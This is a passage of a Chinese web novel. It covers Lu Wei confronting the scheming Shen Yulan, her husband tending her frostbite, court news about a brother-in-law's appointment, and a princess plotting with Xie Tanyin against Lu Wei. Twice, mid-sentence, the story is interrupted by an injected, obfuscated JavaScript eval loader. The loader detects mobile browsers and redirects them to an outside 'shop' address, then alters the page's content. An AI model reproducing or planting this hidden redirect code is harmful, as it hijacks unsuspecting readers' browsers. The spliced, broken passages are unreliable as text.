谢探渺算是稳住了,可沈家出了如此奸邪,露微又深知沈家家事复杂,便将此事告诉了沈沐芳,与她共谋。沈沐芳果然不知自己长姊有两幅面孔,终究与露微定了今日请君入瓮之计。 “青蝇虽可染白,奈何天不容伪,你实在不必追究是谁出卖了你。”露微含笑轻叹,走到了沈浴兰的案前,俯面凌视,“只是我也想求解,我与你素昧平生,该无冤仇,你究竟所图为何?” 沈浴兰缓缓撑起身躯,竟一轻嗤:“见到你之前,我以为表姊就是这世上最娇贵的明珠。可那日的情形,外人若见了,肯定会以为你才是这家的亲女儿,长辈们众星拱月一般。我与你是无仇怨,可看表姊百般不甘,忽然就想到了自己的机会。” 她顿了顿,深吸了口气,却将眼睛看向了后头的沈沐芳,“你虽是嫡女,可我也是父亲的女儿,也姓沈,和你一样善琴知音,你会的我都会,你懂的我也懂,凭什么你能嫁到京师,我就只配一辈子留在苏州,嫁给一个毫无功名的亲戚?” 沈沐芳听来更添惊怒,冲上前道:“就为梁家的亲事?!你不愿意,难道阿娘还能逼迫你不成?你不愿意,难道就不能正大光明说出来?” “那是你的阿娘,只会为你考虑!若她有心,当初怎么不让我与你一道上京?别以为我不知道,你娘原还没下决心,就是你说梁家千好万好,如此,不如你和我换了?!” “沈浴兰,你无耻!” 露微却并不知这番内情,一时不好评判,眼见她姊妹二人的情状愈发激烈,只好先将沈沐芳紧紧拽住,另道:“你的婚事不遂,挑拨我的是非又有何用?” 沈浴兰仍是理直气壮:“未必有十分用,但有一分,也是我为自己争来的命!所有人都向着你,独我去贴心帮表姊,她定会感恩,或至于助我另选夫家也未可知。”冷笑一声,却又道: “其实我知道,你并不是赵家的亲生女儿,连庶出都不是,可你却能嫁到谢家这样的门第,还受尽宠爱,定是很有些手段,我又怎能不以你为典范?” 对于自己的身世,露微早就无所避讳了,但听她如此解读,也确实有些惊讶。正是一时松懈,不料沈沐芳竟就一步跨去,扬起手就给了沈浴兰一个耳光: “庶出是你的命,受尽宠爱便是表嫂的命,像你这样的人,就算是嫡出,也不配过这样的好日子!” 露微闭目不忍,再三将她拉了回来,命雪信仔细看护,自己挡去了她们中间,开口之前,先是长长一叹: “你既知晓我的前事,怎么不想,我若真是手段狠厉,当初又怎会为人休弃?不过这样一看,我也真算是命好的——各人各心,无可强求,你偏要这般想,我也没办法。” 沈浴兰脸颊凸起的掌印将她反衬得几分倔强,而其目光悻悻,又分明夹带了些许失意,“你若没有手段,怎么我才行此事就为你所知?恐怕表姊也被你降服了吧?你想要怎么处置我?” 露微盯着她看了半晌,道:“先给你讲个故事吧。我初嫁的那户人家,也有一个庶女,她母亲难产而亡,是我将她养到了两岁,给她取了名字叫‘泽兰’,平素就唤她‘兰儿’。” 沈浴兰眉心微微蹙起,意识到了什么。 露微见状,了然一笑:“‘兰’字,写在纸上,字形方正而对称,念在口中,音调清润而悦耳,最是字的意思,高洁雅正,花中君子。无论怎么看待,它都是一个绝好的字,而为你取这个名字的人,我听芳儿说过,正是你的嫡母。所以,我很能体会姑母对你的心思,就如我对我的泽兰一般。” “一个名字能代表什么?” 露微摇了摇头:“浴兰汤兮沐芳,你们姊妹的名字都在这一句诗里,无论如何都能证明,姑母身为嫡母,是承认你的。你怨她没让你随芳儿一道进京,或许是她偏私,但你母亲分享了她的夫君,她也完全是可以加恨于你的。可她只是偏袒她的亲生女儿,难道不是人之常情?况且,真是一点也瞧不上你,又何必此次带你进京?不就是因为,她一直将你当做家人么?” 沈浴兰陷入静默,一双圆睁的眼睛仍直直盯着露微,良晌道:“所以,你究竟要如何发落我呢?” 露微却似随意般环视了阁中一圈,道:“你道我因何以聚会之名邀你来此?何不就叫芳儿一起去你房中呢?只因,你下榻的院子与姑母,与两房兄嫂不过一墙之隔,而我却并不想惊动任何人,此事止于此地,你一踏出去,便成前尘。” 沈浴兰终于藏不住心中早存的疑惑,颤抖着强自站起身,问道:“为何这般好心?难道是你欲擒故纵的手段?” 露微正转向上席位置,闻言顿步,回首一笑:“我有一念之仁,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090781|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换你洒心更始,如何想,在你。只是你也说了,你表姊已为我降服,你已经没有胜算了。” 沈浴兰浑身百骸忽而一松,脸色层层白去,连那暴起的掌印也迅速失了颜色,终究不能再言。 …… 谢探微休沐归来,正逢丹渥在榻前为露微双足上药,洗了手要去替换丹渥,眼睛一瞥,倒觉露微脸色不好,对他的笑里也透着疲惫,“生病了?”他三两步走去将人揽过,以额触试她身体温度,倒是平常,“昨晚没睡好?” 他言辞举动不留间隙,露微都无从开口,一笑摇头,将丹渥遣了下去,方小声道:“都不是,就是癸水来了,懒得动弹。” 谢探微略松了口气,只是成婚也有半载,之前还不曾见她因此显露病容,想了想,将右手抚向她小腹,道:“疼吗?说实话。” 露微一愣,倒新奇这人竟然知道些事,缓而点了头:“你从哪里听说的?起初是有些,现在好多了。” “我又不是真的痴儿,叫你说多了,就真是了不成?”他无奈一叹,替她将周身的被子掖紧了些,又问:“没骗我?” 露微又笃定点头,眼珠一转,伸了伸还露在被子外头的一只脚:“你不是要替我抹药么?干正事吧。” 谢探微当真一时忘干净了,这才恍然,将人靠回枕上,拿了药罐坐去了她脚侧。药罐中的膏体已消耗大半,可患处还是明显泛红,也不见比上回好。 “果然还是不能只抹药,但是,你现在应该不能随便吃药,只能等两日了。” 忽听他没来由的一句,露微不解,问道:“你说什么?” 谢探微抬起头来,解释道:“你冻伤之初未及治疗才至成了顽疾,我不想年年冬天见你如此,昨日趁空便想去太医署问一问陈医令。出卫署门时先遇上阿父,他倒是提醒了我一件事。甘州冬季漫长,严寒冰冻远非咸京可比,每年也多有军士冻伤腿脚,军中医官便走访求教当地百姓,研究出一个药方,配合外用的膏药,多数都能治好。之后,我便写了方子拿给陈医令看,他也说好,我出宫时就先去医馆买了药,进房前已叫雪信拿去熬煎了。” 原本只是一件小事,唯有他们夫妻知晓,去岁被父亲接回赵家时,露微都没特意说过,不料竟被这人说到了晏令白跟前,若再为李氏发觉,岂不更加兴师动众? 然而,实在也不能怪他,只好问道:“那阿父听你说了,是什么态度?” 谢探微回忆了下,道:“他很着急,我还没说完,就追问我你如何,影不影响走路,又问我为什么不早些说,说去年在将军府时就该告诉他——微微,我发现,阿父越发成了你的阿父了,从前我受了伤,他都没这么紧张过。” 不知谢探微是否表述得夸张,露微忽而打了个冷颤,心里便起了一阵酥麻,又一直泛到肌肤之上,激起了一片鸡皮。 谢探微只见她发抖,便想她是身体不适,忙又丢开药罐,挪到她身前:“可是冷?还是疼?” 露微不知如何形容,才要摇头,倒见雪信端了一碗汤药进来。谢探微已不打算叫她吃了,便对雪信说道: “夫人正在信期,怕是不宜乱吃药,去倒了吧,剩下的过几天再熬了来就是。” 露微原是要说此事无碍,只是被打了个岔,见雪信被这话难住,向自己投来示意的眼神,便对她一笑摇了摇头:“放下就是。”又对谢探微道: “你回来可去见过姑母他们了?” 谢探微倒是早就听闻姑母提前到了,却不解她做什么此刻提起,道:“还没有,不急这一时吧?明日请母亲安时再一起便是了。” 露微将他往外推了一把:“现在就去,还是要我陪你去?”说着便作势下榻,自然立马被拦了回去。 谢探微再不理解,此刻也拿她无法,站起身理了理衣袍,“好好好,我现在就去,你别闹就行,这个时候最不能受寒了。” 露微抿笑点头,目送着他一步三回头地走了。雪信尚未离去,旁观至此,也不觉低头忍笑,道: “长公子待夫人真好,也真是听话。” 露微自有拿捏这人的本事,笑而不言,先端起汤药饮下一口:“我若不这样,这药真是要倒掉了,岂不可惜?” 雪信抿唇点头,可不知想什么,顿了顿,又道:“夫人这次月信格外不舒服些,焉知不是为沈家那些事劳心所致,为什么就不能等明天再叫公子去见沈家人呢?” 露微垂目望向手中汤药,虽晾了一时,犹是温热,“我为他事事筹谋,他亦为我件件经心,如此已是最好了。” 85.寒颤 越是临近岁暮,晏令白的闲暇就越发少,但只要没有紧迫要事,他都会挤出空来回府,算来反比先前在家的时候多。只因,露微与淑贤办起的学堂渐成气候,金吾军中凡休沐的军士,或三五结伴,或独自慕名,每日都有人来听课。 此日归来,他仍像之前一样,静立于课堂院中的廊庑,向屋内观望。因天晴无风,颇有些小阳春的暖意,屋舍的窗子都是支开的,偶能见露微自窗边走过,他脸上便会浮现一丝淡笑。 “你现在,应该更能体会何为后悔了吧?” 忽有一个平静的声音自身侧响起,却并不令他惊讶,亦不足以令他舍掉眼前风景而稍稍侧目,只道:“是,但如此‘后悔’的样子,也是我求之不得。” “是么?我倒是时常在想,若容姊在天有灵,知此情形,会作何感想。”乔晴霞轻笑着,也将目光转去课堂窗下,“晏昭清,这么多年了,你梦到过她么?是美梦,还是噩梦?” 晏令白眉间轻轻拧起,却是道:“这孩子对我提过她母亲,因为敏识同她说起了甘州的事,敏识至今还记得容儿做的馄饨。”他忽然噎住一般,咽声半晌方继续: “容儿从未给微微亲手做过馄饨,也不愿教她学马,这两样是我与她仅剩的关联了——我体会了,她恨我,深恶痛绝。” 乔晴霞先还担心露微是察觉了什么,可听完虽是有惊无险,却也再无嘲讽之心,眼中酸涩,心中酸痛:宋容精湛的马术就是晏令白亲授,而亲手所做的馄饨便是她的谢礼,二人正是由此生情。 “所以,事到如今,你还有什么可担心的呢?”晏令白深深吸吐了口气,眉宇不曾松弛,“我可以为这孩子死,也绝不会与她相认,她现在想做什么我都会依从她,看她能笑一笑,高兴就好。” 他承诺便罢,却如赌咒般,叫乔晴霞有些摸不透,忖度着问道:“你到底是谢家寄父,于微微在名分上有限,她难道还能事事劳烦你?便是有些托付,又能是什么要紧事?何至于生死的。” 晏令白却一笑,呼出的气息又像是喟叹,终于转脸看向乔氏,并不再多言,“你去吧。” …… 时已晌午,课堂暂歇,露微正自饮茶,不意抬头间就望见了站在门下笑望的乔晴霞。她并不惊讶,同淑贤交代了一句,将乔氏携入了一侧廊屋。 “乔娘又来看我了,怎么不直接去谢家呢?”将军府开课以来,乔氏已着意来了两三回,露微虽然乐见,到底也有些奇怪,毕竟她也不像淑贤是日日都在的。 乔氏抚着她的鬓发笑笑,道:“平素无事也罢了,只是近来听闻谢家来了不少亲眷,我岂有频繁登门的道理?但却担心你不擅应对,恐要受委屈。如何?还周全得过来吧?” 乔娘待自己之心自不必说,谢家那些复杂的人事也已平息,她便只是一笑摇头,“我若不好,怎还能如此行动自由?都有母亲替我担待呢。”停了片刻,忽又想起了什么,随口问道: “不过,乔娘似乎一直不大喜欢阿父,如今却常来将军府,可遇到阿父了?” 乔晴霞心知是她从前为防备露微与晏令白过于亲近,有过几次举动无状,淡笑道:“将军怎会和我这样的人计较呢?只怕早忘了。”却又不觉联想方才晏令白的言辞态度,道: “我如今看来,将军他——没有妻儿,待你们倒是很好的。只是微微,你除了借这一个院子教课,还托了他什么大事么?” 露微不知这话从何而起,蹙眉问道:“没有啊,阿父同乔娘说了什么吗?” 乔晴霞其实也说不清具体缘故,想来自悔不该多这一句,到底罢了,“我只是想,将军也到了这儿孙绕膝的年岁,有你们时常陪伴,找些事做,他应该是很乐意的。” 露微这才一笑:“阿父是大将军,朝事军务,不遑启处,哪里能和寻常家翁一样?” “是,也是。”乔晴霞唯余含笑点头。 …… 是日,因赵维贞风寒未愈,不得侍驾,露微便独自去了东宫。虽不能授课,却为宽慰太子牵挂之意,也奉命督促太子勤于温习,要将前时布置的课业带回去。 李衡无一日怠惰,早将文章字帖都整理好了,只是询问了老师的病情,知晓并无大碍后,忽却将殿内侍奉的宫人都遣开了。露微少见他如此反常,却不及问,只听他道: “阿姊,原来的扬州长史徐枕山,可是谢探微的姊夫?” 这个名字从太子嘴里说出来,真叫露微惊了一惊,想不到其中关联,忙问道:“正是啊,陛下恩赐他留京待职,今年考选尚未结束,他不曾得官,殿下是怎么知道他的?” 李衡挑眉一笑,颇有些得意,道:“我前日到紫宸殿请安,有司正好将岁考的奏章呈上来,父皇看过一遍,单点了徐枕山一人出来,说要抬他入门下省补给事中的缺!” 算来年关将至,不日是该出考官结果了,可这个小道消息,似乎并不是一个喜讯。思忖半晌,露微探问道:“殿下近日宫中行走,可遇见吴王没有?殿下与吴王的课业,谁佳?” 李衡不解露微因何偏转话题,挠了挠头,也如实道:“长兄自从拜了章圣直侍中为师,每日都在弘文馆听课。我也不知课业谁佳,但有几次同去国子监讲筵,博士问难五经,长兄多不能对,我却能答出一二。” 露微点点头,“臣知道了。”又道:“只是岁考是朝廷选官用人的大事,待有定论,自会公布,殿下不该留心存私,提前告知臣,以后再不可如此。” 只要是关于露微的事,李衡多数时候都没什么顾忌,此刻方觉有失,乖乖点头应了,停了片时却又怯声道:“还有一件事,无关朝廷,阿姊,我可以说么?” 露微原也不是要吓唬他,也不料他还有别的事,无奈一笑,和声说道:“殿下请讲,臣恭听就是。” “就是去紫宸殿那天,我出宫时还遇着六郎了,同他玩了一会儿,又送他回了凝香殿,见了纪娘娘。” 直到听见最后三字之前,露微都只以为是一件闲谈趣事,“那纪美人都和殿下说了什么?” 李衡捧腮撑在案上,道:“娘娘问阿姊怎么没在我身边,我说太傅病了,阿姊侍疾不得来。她问候了几句,便叫人端了甜酪浆给我尝,说是她自己学着做的,竟比尚食局和典膳局做得都要好吃,我现在想来尚觉味道未散呢。” 露微听到此处,神色已沉下几分,又问:“臣两次见美人,也觉得她是个心灵手巧之人,除了甜酪浆,美人还有什么好手艺?” 李衡摇头,又嘻嘻一笑:“倒不知,只是我在吃,六郎也吵着要,娘娘却说他之前学的诗没背下来,罚他不许吃。他这样小,字还不认得几个就要背书,我不忍,可替他求了,娘娘也不宽他。我就问是哪首诗,娘娘便说是南朝陶弘景的诏问山中何所有赋诗以答,总共不过二十字,简单得很。” 山中何所有,岭上多白云,只可自怡悦,不堪持赠君——不必太子话音落下,露微已在心中默念过这二十个字,良晌不再发言,原本交握于膝前的双手也于此间暗暗拧紧。 …… 自露微主动登门,谢探渺多日都不曾回过神来,除了晨昏给父母请安,余时再不出门,连孩子们的事都不再像从前般计较,一应交付了徐枕山。徐枕山自能发觉异常,但也问不出长短。 这日午膳方罢,才遣侍娘将儿女带下,一回头又见谢探渺对着手中茶盏出了神,几步上前,摘出了她掌中茶盏,于案面“笃”地一放:“到底是怎样?你有什么事同我也不能说?” 谢探渺惊怔着抬起头,双唇抿磨,只伸手推开了他:“你操心你的考选吧,何苦来操心我呢?” 这几日他凡问起,谢探渺都是用考选来搪塞,他已经不想再听了,心一横,势必今日要了结此状,然而——忽听小婢禀报,“大夫人”来了。 因赵维贞抱病,露微这几日都在娘家,谢家父母也亲自去探望过,并没听闻她就回来了。夫妻相视一眼,虽仍和上回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099615|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,是徐枕山先开口请人,但谢探渺却也随即起身,站到了前头: “你,怎么回来了?” 露微进得门来,正抬眼间便听她试探的口气,了然一笑,还是不急不缓先将礼见了,方道:“家父的病原无大碍,我只是有些更要紧的事想告诉长姊——还有姊夫。” 徐枕山不防事关自己,还准备问候赵维贞几句便回避出去,“怎么了?是何要事?” 谢探渺毕竟心境不同,顿时有些紧张,又不敢叫徐枕山察觉,硬着头皮又朝露微走近了几步:“还是和姑母有关的事?上回还有什么没说清楚的么?” 她有意遮掩,目光竟似流露恳求之意,露微心中暗暗好笑,仍将目光看向徐枕山,作忖度状,故意又迟延了片时,见她脸色红白一阵,方慢慢开口: “我才从宫里来,太子殿下同我说,陛下有意授姊夫门下省给事中的官职。如今岁考结果虽未颁布,但此事想来不虚。” 一语未了,谢探渺已长呼了口气,但她并不懂官场事,只疑惑露微为何专程来说此事,猜测不定,一时无言。徐枕山虽也不语,可神色已变得凝重起来。 露微观之,明白徐枕山是有所体察的,沉了沉心,道:“姊夫常在父亲身边侍应,想来心如明镜,我也就直言了。姊夫原本的扬州长史和给事中一样,都是正五品上的官职,看虽平调,却胜似升迁。更要紧的是,给事中说到底就是门下省长吏,左相章圣直的佐官,要侍奉左右,分判省事,听从他的调遣。所以,我急着先来告知姊夫,便是要姊夫心中有个准备。” 徐枕山深深颔首,眼里带出赞叹的目光,缓而一笑:“其实,父亲早与我谈过,虽陛下一时高兴赐我留京,但他是想叫我回扬州的,说要届时向陛下陈奏。可这样一来,陛下心意已定,我也只能既来之,则安之。况且,如今情形,我也不能离开了。” 谢道元的这番远见,露微倒是不知,但徐枕山如此通透明达,也着实是家门之幸,“朝事如棋,黑白同轨,心中清明醒觉,比什么都重要。” 徐枕山与露微彼此身份有限,素日并无机会多说什么,虽也见识过她的卓越才识,但今日更是切身体会,由不得越发敬佩,向露微拱手揖了一礼:“赵学士慧识绝人,徐枕山深为受教!” 露微自是一惊,连忙还礼,目光划过仍是面含云雾的谢探渺,暗作一笑,并不再多言,告辞离去。但,才至廊庑间,谢探渺却疾步追了上来,一声“露微”将她唤住。 这是露微没有料到的,回首抬眼,只试着道:“我说了,和为贵,便会守信,长姊还担心什么?” 谢探渺确似带着几分疑惑的神情,眉间轻拧,问道:“考选的事,父亲也必会告诉他的,你为何要特意先来?” 露微轻笑,这才将身子转正相对:“朝事诡谲,甚于家事。暗室欺心,昏昏默默,于家族而言,尚是败家散业之举,若是朝事不备,那可就是灭顶之灾了。” 谢探渺沉默片时,却并未显出豁然面色,“就差这一时?” 她看似固执多问,露微忽却领会她是心有动摇,毕竟,是她主动追出来的,一笑,道: “你若觉得我是多此一举,便是不差;你若认为是应该,我便是及时。人心何如,择之在人,长姊能体会否?” 说完,露微再不多留,终于离去。谢探渺却是驻足良久,脑中参禅一般,直到徐枕山又寻出来,为她披上了件氅衣: “渺儿,你们又说了什么?” 她方缓缓收敛散碎的思绪,抬起头来:“中秋宫宴时,我见过那位章侍中的夫人,章侍中是陛下长子,吴王的老师吧?” 露微忽然带来的消息,牵涉了许多隐事,徐枕山原就是要等她回去再作详解的,倒不料她本知道一些,点了头:“章侍中与父亲,常有不和。” 谢探渺深深地吸了口气,廊下穿过的凛风已将她的面颊吹得冰僵,吸入的寒气也自鼻腔一线贯入五脏,叫她扎实打了个寒颤。 86.新春 一排大小各异的十二生肖泥塑在妆台上列起队,纤细的指尖自它们头顶一一点过,周而复始,乐此不疲。铜镜里照出两个妙年小婢青春的面庞,各都垂目含笑。 “夫人,稍坐起来些吧,奴婢要给夫人挽髻了。” 露微已不知把这十二个小东西数过多少遍,脑袋枕在臂上,听这话才觉酸麻了,慢慢直起身,舒展了一番方好好端坐,“今天就是初五了,再有一天杨家就要来亲迎了。” 雪信一面为她分发挽髻,一面笑应:“是啊,日子过得真快,等沈娘子去了杨家,夫人倒少了个伴了。” 露微笑笑,从生肖队尾拿了小猪在掌中盘弄,“她说她要天天回来找我,不理她新婿,我倒看她是不是诓人。”忽想到了什么,敛了几分笑,问道: “兰娘子的病可好了?断断续续也有一个月了。” 雪信丹渥皆知是何缘故,近来跟随露微去李氏处帮忙料理婚事,沈家女眷就独少了沈浴兰一人。雪信便道: “她那里先说是水土不服,后来又说添了风寒,反正没听说她出来过。姑夫人一门心思在女儿婚事上,也不会细究她如何。” 丹渥点点头,也道:“就是叫她家两位嫂子看着些,并没别的。” 露微听来想来,既怜惜也无奈,便道:“雪信,你稍待避着些人,拿些吃用补品送去,顺便告诉她,小妹出嫁,长姊没道理不在,我不想后日见不着她。” 雪信自是应下,手中青丝正挽到最后一束,方才固定好,倒见帘幕一晃,谢探微忽从后头歪出张脸来,就道: “长姊何曾病了?我才还见她在母亲那里呢。” 他不仅举动促狭,竟还断章摘句,胡乱解释,惹得雪信丹渥笑也不是,羞又难避,只好退守一旁。 露微也为他所惊,后怕不及,先遣了二人出去,白去一眼: “已是新年了,又添一岁,你怎么还活回去了呢?” 谢探微倒就是听了只言片语一时惊怪,没在意别的,忙靠去她身侧坐下,赔笑又作揖:“赵学士这话,就当是新岁贺词,贺下官青春永驻。” 露微打量他这神态,应是没听清原话,放了心,也不禁好笑,用力拍了下他揖来的手,扭过脸不去理睬。谢探微早瞥见她嘴角漏出的一丝笑意,又见她妆粉未扫,乌云蓬松,却鼓着腮刻意作态,反愈发可爱,就如——她手上盘弄不歇的小猪。 “微微。”他忽然展臂抱她入怀,贴着耳鬓,温柔送声,“原谅我,好么?”又道:“你刚才没说长姊,那是谁呢?告诉我知道知道。” 露微虽不挣脱,却也不动,斜目瞧他半晌,轻哼了声:“是芳儿的长姊,也就是你的另一个表妹。” “我还有表妹呢?”谢探微却完全无知,他见了沈家亲眷,也只知上有姑母,下有两个表弟,既没单独见女眷,也没问过。 露微一点头:“是你姑父的庶女,没了母亲,不服咸京水土病了,姑母又忙着芳儿的婚事无暇关顾,所以我多问几句。” 提到这些家事,谢探微忽觉无趣,手掌缓缓覆去露微双手,道:“他们自己尚且疏失,你又何苦去操心?”顿了顿又道: “想来我都不算认得姑父,便是五岁前见过也不记得了,十年前他过世,我也未及赶回去。所以,姑母亲生的不过略有印象,庶出的有几个就是糊涂账了。” 说得是亲戚家事,却何尝不是反衬他自小离家之苦,露微一时心意都软了,将头偏在他肩上,笑道:“听说庶母有四位,但庶出的孩子倒就这一个女儿,叫沈浴兰。” 谢探微觑了觑眼,表情嫌弃,口中便低声喃喃:“这么多,倒认得过来。” 露微见他神情时,已知他说不出什么周全话来,咬唇忍笑,不欲他再往此事上衍生,分出右手将他的脸拨过来,另道:“方才去见父亲都说了什么?” 谢探微倒没忘了这件正经事,平了平心气,先将颊上露微的手握到了掌中,“其他无甚特别,只是姊夫也在,他才到新任,说起些处境,果是有些蹊跷的。” 自那日从太子口中提前得知消息,不到三日便颁布了岁考的结果,给事中的官职果然落在徐枕山头上。即使谢道元也去求见了皇帝,却终究没能改变圣意。 “章圣直毕竟是宰臣,总要顾及身份尊重,难道真的当众给姊夫难堪不成?” 谢探微轻轻摇头,“自然不是,而且也并没有故作亲近,凡事遵章依序,上下都是一片平和。” 一件事的形势,若在两个端头,或是偏向哪头,都可叫人轻易瞧出趋向,可若只在当中,与左右秋毫无犯,便难以判别了。日中之影,一看便知定是要偏西的,可单一个没有下雪的寒天,你怎知是已立了春,还是尚在凛冬呢? 不觉想得深了,一直握在掌心的小猪忽从指间松落,咕咚一声。露微方才回神,侧目去找,倒没滚远,恰在谢探微脚边敦实坐着。 “怎么了?”不必她指使,谢探微已将小猪捞了回来,仍送回她手里,“乱想什么?” 露微抬眼看他,半晌说道:“你有没有发现,腊月至今,咸京都没有下过雪?我长这么大,好像还是第一回,没有下雪就已经立春了。” 谢探微亦细细地看她,眼波平静,道:“风云气候,分属自然,从无一定之规,不变之理。下或不下,又何时下,都是自然之理。而天行有常,万物众生都是不能违背常理的。” 露微不得不承认他说得极好,心有所解:“鼓钟于宫,声闻于外,鼓不能藏声,镜亦不可藏形,对吗?” 谢探微深一颔首,却将她双手托起,直至那小猪升到铜镜的高度,“你看,藏不住的。” 露微对镜一笑,既为他此举滑稽,胸中亦无不畅然。 …… 去冬无雪,春来可还有雪?大抵百姓农户还是盼望的,因为春雪兆丰年,此时秧苗尚未长出,苏醒的害虫却会被冰雪冻死,才会有一个好收成。然而赫赫京华,多的却是不事稼穑的门户,他们不关心冬雪未至,也不必仰望雨露春恩。 安定观的主人李柔远便是如此。数月之间,霄壤之别,起初的怨愤仓惶,却不期然地变成了平静,也许是三清殿上的神仙显灵,让她发现这才是明路。 才刚结束礼拜的李柔远被侍女搀扶起来,往内堂更衣理妆。华丽的妆饰很快替换了海青的道袍,铜镜中,翠凤下,依旧是青春娇美的面庞,眸光点漆,一笑动人肠。 “娘子,他来了,见么?” 侍女灵香忽从侧门进来,附到李柔远耳边递了话。李柔远眉眼微侧,复对镜中推了推鬓边金钗,道: “这个时辰?” 灵香答道:“奴婢也不敢叫他进来,引到后巷问他,却说是他家今日办喜事,上下繁忙,没人在意他的行踪。” 李柔远稍觉诧异,想了片刻方记起旧闻:“是国子司业杨献的儿子娶谢家甥女吧?这桩婚事稀奇,听闻谢道元为甥女多次登门,杨家原是不肯的,怎么忽然就成了?” 灵香摇头道:“是杨谢结亲不错,只是奴婢也不知缘故。” 李柔远若有所思,忽一轻笑,道:“去把他带来吧。” 灵香得了指令,不上半刻就将人领了进来。此时堂上已落下一道珠帘,帘内香雾缭绕,李柔远倚在暖榻上,身姿窈窕,意态娇慵,余光已见那人伏跪扣头,却只将灵香唤来身畔。灵香垂目上前,轻车熟路替了一旁侍应小婢,便再不动声色。 “娘子既肯赐见,何不允臣细禀?” 李柔远正欲端茶来饮,嗤声一笑,这才放眼瞧去:“我并没有不许你说话,你起来就是。”看他缓缓直身,整理襟带,神色倒很闲定,便又道:“你坐下说吧,不过——谢探隐,你也来了两次了,可别再只说些毛遂自荐的空谈。” 本朝右相谢道元的次子谢探隐闻言微微抿笑,仍走去一旁杌凳坐下,方拱手作答:“臣决心来此,本身便非虚空,娘子说臣前番只是毛遂自荐,便是接纳臣的意思了。” 李柔远略感一惊,目光扫去,不觉微露赞许:“你和你阿兄果然是两般人物。”顿了顿,又道:“可惜,你终究是个读书人。” “读书人有读书人的好处。”谢探隐仿佛早知她的下文,紧接着脱口就道,随后又从容一笑,“臣知道,不管是先前贵妃说动陛下,欲将娘子下嫁于臣,还是如今,娘子能容臣坐在这里,其实都是一个意思,娘子始终想要得到臣的阿兄。” 李柔远沉默半晌,问道:“你难道不知,我如今已经不能再有婚配了?” 谢探隐将面上笑意添了几分,道:“婚姻只是名分,与是否能得到一个人,并不相冲。况且,得到臣兄长的关键在于除去赵露微,没了她,娘子便可稍平先前所受的屈辱,余事方可再图谋之——臣心亦如娘子,不愿赵露微在我谢家只手遮天。” 李柔远既对谢家下过许多工夫,便是早就清楚谢家情形的,不禁点头,信他此言,“那么,你有何本事可以帮我除去你长嫂?你敢杀了她?” 谢探隐缓缓摇头:“杀人害命,引火上身,娘子不是早就试过,行不通么?”舒了口气,却忽作正声: “娘子如今境地,皆因直学士姚宜若揭发娘子私乱之事,可姚宜若正是赵露微前夫的弟弟,从前她尚在姚家时就与这小叔十分情好,以至于如今什么事都敢帮她。就连臣家今日的喜事,也是她赵露微一手促成的。臣的父亲作为女家尊长主动登门,杨家都不愿答应,也不知她使了什么妖术,杨家忽然就点头了。其中或有姚家的助力,也未可知,所以,她赵露微就当真清白么?” 他 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“主考官非我父亲一人,娘子的弟弟吴王的老师,侍中章圣直,难道就毫无作用么?” 内堂深深,帘幕重重,并无一丝寒风能透进来,时辰仍在白天,但天光隔绝,亦教人无从辨别。 …… 淑贤与冬至成婚还不足三月,便是自己成婚也不过半年余,此刻陪在沈沐芳身侧,一样的对镜贴花,一样的新人如玉,露微恍惚有种岁月循环,流光倒转的错觉,待觉衣袖牵动,方回过神来: “怎么了?” 沈沐芳微微展颜,道:“我没怎么,你在想什么呢?” “我在想,我可真喜欢现在的日子。”露微叹道,偶见她眉心花钿略有一隙缺角,提来朱笔,以笔尖轻轻点补,“从前是没想过的,也不会这样想。” 莫说露微往事,便是沈沐芳自己年来所历种种,也着实是每出意料的,“世事无常,且行且看,所以苦尽甘来,原也是不必多心的,你好好享受便是。” 露微并非多愁善感,经她这般解意,倒也再说不上来什么,点头一笑,望了眼窗外,日光似已西转,人声乐声也似隐隐传来,“快了。”说着便自妆台上拿起一柄嵌宝团扇递到了沈沐芳手心,“事不过三,拿稳了,今天可不能再掉了。” 沈沐芳初觉疑惑,愣了片时方恍然想起这扇子的典故,羞惭一笑,举扇遮面,低声道:“再不会了!” …… 一日大喜,两家合欢,待到人定时分,夫妻方携手登车返家。自宣阳坊杨家回太平坊有些路程,因喜事早于坊里备案,携有文牒,一路都未被金吾拦查。 “微微,先不要睡,会着凉的。” 寒夜漫长,万籁俱寂,车马摇晃着劳倦的身躯,自有催眠奇效。谢探微才片时不与怀中人说话,她便闭上了双眼,呼吸都沉了。 露微已在梦醒之间,只听耳畔嗡嗡有声,也辨别不全,仍不睁眼,就将双臂向他身上更攀紧了些,“不冷,别吵。” 她明明力气不大,不想迷糊着发力,倒令谢探微胸肋之间猛一紧缩,直勒得他连连呛咳。而这下狠手的人反觉异常颤动,倒顿时就竖了起来,不解就道:“你怎么了?” 谢探微见她懵然模样,一时语塞,忍笑摇头,也算欣慰:“你肯醒了?” 露微揉揉眼睛,“还没到么?” 谢探微笑意未减,将她翻开的氅衣盖了回去,柔声哄道:“夜行慢些,不过也快了,等等再睡好么?”便想与她分分心,却不及再起话端,马车忽然停了。 一路畅行,未必临近了,反而多事?谢探微疑惑着撩开车帘观望,便听驾车小奴说道:“公子看,也不知是谁家的车,这个时辰出来,大约有急事吧。” 原来已到太平坊坊门,前头一驾马车似无夜行备案,坊门金吾正在查看问话。看也平常,可正欲落帘回坐,谢探微却忽然望见一张熟悉的面孔—— “那不是太医署的陈医令么?” 